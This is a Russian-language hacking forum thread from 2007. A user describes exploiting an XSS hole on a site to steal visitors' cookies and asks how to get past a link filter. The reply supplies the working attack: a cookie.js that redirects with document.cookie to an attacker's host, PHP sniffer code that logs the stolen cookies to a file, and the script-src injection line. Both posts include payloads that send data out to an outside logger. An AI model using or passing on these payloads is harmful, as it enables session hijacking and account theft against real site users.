Как обойти фильтр при вводе ссылки???

Discussion in 'Песочница' started by DesignerMix, 10 Jan 2007.

  1. DesignerMix

    DesignerMix Elder - Старейшина

    Joined:
    10 Jan 2007
    Messages:
    35
    Likes Received:
    11
    Reputations:
    5
    Значица есть сайт на котором имеется XSS - дыра, но вот в чём загвоздка. Когда я вставляю код на алерт то окошко вылетает, но как только хочу внести данные о тех кто зайдёт на страничку в лог вот таким образом #<script>location.href="http://ccl.whiteacid.org/log.php?182292"+document.cookie</script># предварительно всё зашифровав фильтр меняет этот код так, чтобы по ссылке автоматически не переходилось #<script>location.href="<noindex><a target=_blank rel=nofollow href="http://ccl.whiteacid.org/log.php?182292">http://ccl.whiteacid.org/log.php?182292"...</a></noindex></script>#. Как с этим быть? :confused:
     
  2. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Создаем файл cookie.js и пишем в нем:

    location.href='http://твой_сайт_с_php/sniffer.php' + document.cookie;

    Создаем файл sniffer.php
    Code:
    <?php
    $cookie = $_SERVER['QUERY_STRING'];
    if($cookie)
    {
    $fp = fopen("cookies.txt", "a+");
    fwrite($fp, "Original: ".$cookie."rn"."UrlDecoded: ".urldecode($cookie)."rnrn");
    fclose($fp);
    header("Location: fbi.gov");
    }
    ?>
    Это код простейшего сниффера. Их полно в сети.

    Создаем файл cookies.txt и ставим права на запись.
    (В доведенный до ума снифер обычно включают различные проверки и нет необходимости создавать другие файлы)

    В итоге получаем строчку:
    Code:
    <script src=http://твой_сайт_с_php/cookie.js></script>
     
    1 person likes this.